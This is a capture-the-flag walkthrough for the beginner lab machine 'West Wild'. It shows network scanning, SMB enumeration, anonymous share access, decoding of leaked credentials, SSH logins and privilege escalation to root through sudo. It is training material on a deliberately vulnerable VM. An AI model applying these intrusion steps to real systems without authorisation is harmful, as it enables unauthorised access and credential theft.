

west-wild Walkthrough

Challenge name(Vm): westwild

Category: writeups

Goal: gaining root access

Challenge Points: --

Year/Date: 24/21

Description: West Wild v1 1 is a beginner level CTF series, created by Hashim This CTF series is for people who have basic knowledge of penetration Testing tools and techniques.

Hiii..., guys let's solve this challenge.....

As Always, let's start netdiscover tools to scanning target ip addresss..., so our target ip address is 192.168.251.74.

```
Currently scanning: Finished! Hello, I'm here! Click icon in the tray to take a screenshot or click with a right button to see more options.
```

35 Captured ARP Req/Rep packets, from 3 hosts. Total size: 1488

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.251.211	f6:16:6c:d9:68:50	33	1386	Unknown vendor
192.168.251.61	e8:2a:44:ec:a8:53	1	42	Liteon Technology Corpora
192.168.251.74	e8:2a:44:ec:a8:53	1	60	Liteon Technology Corpora

After discovering the target ip address, let's scan with nmap tool for detecting service and version detection of our target ip address. Here -p- which scan all port number that in between 1-65535.

```
(root@sole) - [ /home/h4ck3r/machines ]
# nmap -p- -sV 192.168.251.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 18:10 IST
Nmap scan report for 192.168.251.74
Host is up (0.0086s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; p
rotocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7 ((Ubuntu))
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: E8:2A:44:EC:A8:53 (Liteon Technology)
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.75 seconds
```

From the service http we couldn't find anything use able information about target when we used dirb and nikto tool.

```
(root@solo) - [/home/h4ck3r/machines]
# dirb http://192.168.251.74/

-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Fri Dec 20 18:18:33 2024
URL_BASE: http://192.168.251.74/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.251.74/ ----

+ http://192.168.251.74/index.html (CODE:200|SIZE:263)
+ http://192.168.251.74/server-status (CODE:403|SIZE:294)

-----

END_TIME: Fri Dec 20 18:19:05 2024
DOWNLOADED: 4612 - FOUND: 2
```

```
(root@solo) - [/home/h4ck3r/machines]
# nikto -host http://192.168.251.74
- Nikto v2.5.0

-----
+ Target IP: 192.168.251.74
+ Target Hostname: 192.168.251.74
+ Target Port: 80
+ Start Time: 2024-12-20 18:19:14 (GMT5.5)
-----
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 107, size: 58edd5b41963c, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-12-20 18:20:21 (GMT5.5) (67 seconds)
```

As we can see from the nmap scanning the smb server is running on both port number that is 139 and 445, so let's enumerate smb service using enum4linux tool(which this tool is used for discovering information about smb server). From result its enumerates that there are three users and share directory name is wave.

```
===== ( Users on 192.168.251.74 ) =====
=====
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: aveng Name: aveng Desc:
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: wavex Name: XxWavexX Desc:
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: root Name: root Desc:

user:[aveng] rid:[0x3e8]
user:[wavex] rid:[0x3ea]
user:[root] rid:[0x3e9]

===== ( Share Enumeration on 192.168.251.74 ) =====
=====

Sharename Type Comment
-----
print$ Disk Printer Drivers
wave Disk WaveDoor
IPC$ IPC IPC Service (WestWild server (Samba, Ubuntu))
```

From this figure, I have connected smb server with smbclient tool with //192.168.251.74/wave and I have logged in with no password. I have downloaded file using get command and which downloaded in current directory.

```
(root@solo) - [/home/h4ck3r/machines]
# smbclient //192.168.251.74/wave
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Tue Jul 30 10:48:56 2019
..               D           0   Sat Sep 12 11:22:59 2020
FLAG1.txt        N          93   Tue Jul 30 08:01:05 2019
message_from_aveng.txt N       115   Tue Jul 30 10:51:48 2019

1781464 blocks of size 1024. 282068 blocks available
smb: \> get FLAG1.txt
getting file \FLAG1.txt of size 93 as FLAG1.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> get message_from_aveng.txt
getting file \message_from_aveng.txt of size 115 as message_from_aveng.txt (0.8 KiloBytes/sec) (average 0.4 KiloBytes/sec)
```

I have opened that FLAG1.txt using cat command and it displayed base64 encoded string lets decode with base64 -d where -d switch used for decode the string. After decoding the string, it reveal flag with username and password of wavex.

```
(root@solo) - [/home/h4ck3r/machines]
# ls
FLAG1.txt  message_from_aveng.txt  note.txt  pass.txt

(root@solo) - [/home/h4ck3r/machines]
# cat FLAG1.txt
RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjpwYXNzd29yZDpkb29yK29wZW4K

(root@solo) - [/home/h4ck3r/machines]
# cat message_from_aveng.txt
Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset it for me .
Thank You
Aveng

(root@solo) - [/home/h4ck3r/machines]
# echo "RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjpwYXNzd29yZDpkb29yK29wZW4K" | base64 -d
Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open
```

I have logged in with given username and password with using ssh service.

```
(root@solo) - [/home/h4ck3r/machines]
# ssh wavex@192.168.251.74
wavex@192.168.251.74's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com/

System information as of Fri Dec 20 17:09:27 +03 2024

System load:  0.17           Processes:            102
Usage of /:   78.1% of 1.70GB Users logged in:          0
Memory usage: 10%           IP address for eth0: 192.168.251.74
Swap usage:   0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Fri Dec 20 17:09:28 2024 from 192.168.251.250
wavex@WestWild:~$
```

After logged in, I used find command to find writable directory for aveng user where clue was given in message_from_aveng.txt file. So we found /usr/share/av/westsidesecret directory and also found ififoregt.sh. When I opened that sh file with cat command and it's revealing username and password for aveng.

```
wavex@WestWild:~$ find / -writable -type d 2>/dev/null
/sys/fs/cgroup/systemd/user/1001.user/2.session
/usr/share/av/westsidesecret
/home/wavex
/home/wavex/.cache
/home/wavex/wave
/var/lib/php5
/var/spool/samba
/var/crash
/var/tmp
/proc/2721/task/2721/fd
/proc/2721/fd
/proc/2721/map_files
/run/user/1001
/run/shm
/run/lock
/tmp
wavex@WestWild:~$ cat /usr/share/av
av/      avahi/
wavex@WestWild:~$ cat /usr/share/av/westsidesecret/
cat: /usr/share/av/westsidesecret/: Is a directory
wavex@WestWild:~$ cd /usr/share/av/westsidesecret/
wavex@WestWild:/usr/share/av/westsidesecret$ ls
ififoregt.sh
wavex@WestWild:/usr/share/av/westsidesecret$ cat ififoregt.sh
#!/bin/bash
figlet "if i foregt so this my way"
echo "user:aveng"
echo "password:kaizen+80"
```


After logged into aveng user, I used sudo su command for root user and after putting aveng password, it's successfully llogged in as root user. And then I used root directory for root aceess flag.

```
wavex@WestWild:/usr/share/av/westsidesecret$ ssh aveng@192.168.251.74
The authenticity of host '192.168.251.74 (192.168.251.74)' can't be establish
ed.
ECDSA key fingerprint is 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.251.74' (ECDSA) to the list of known host
s.
aveng@192.168.251.74's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com/

System information as of Fri Dec 20 17:09:47 +03 2024

System load:  0.12               Processes:            103
Usage of /:   78.1% of 1.70GB    Users logged in:     0
Memory usage: 10%               IP address for eth0: 192.168.251.74
Swap usage:   0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Dec 19 20:17:42 2024 from 192.168.251.250
aveng@WestWild:~$ ls
aveng@WestWild:~$ id
uid=1000(aveng) gid=1000(aveng) groups=1000(aveng),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),108(sambashare),114(lpadmin)
aveng@WestWild:~$ sudo su
[sudo] password for aveng:
root@WestWild:/home/aveng# ls
root@WestWild:/home/aveng# cat /root/root.txt
Congrats on getting root!

Here is your flag - N6Y0K1S6BM
root@WestWild:/home/aveng#
```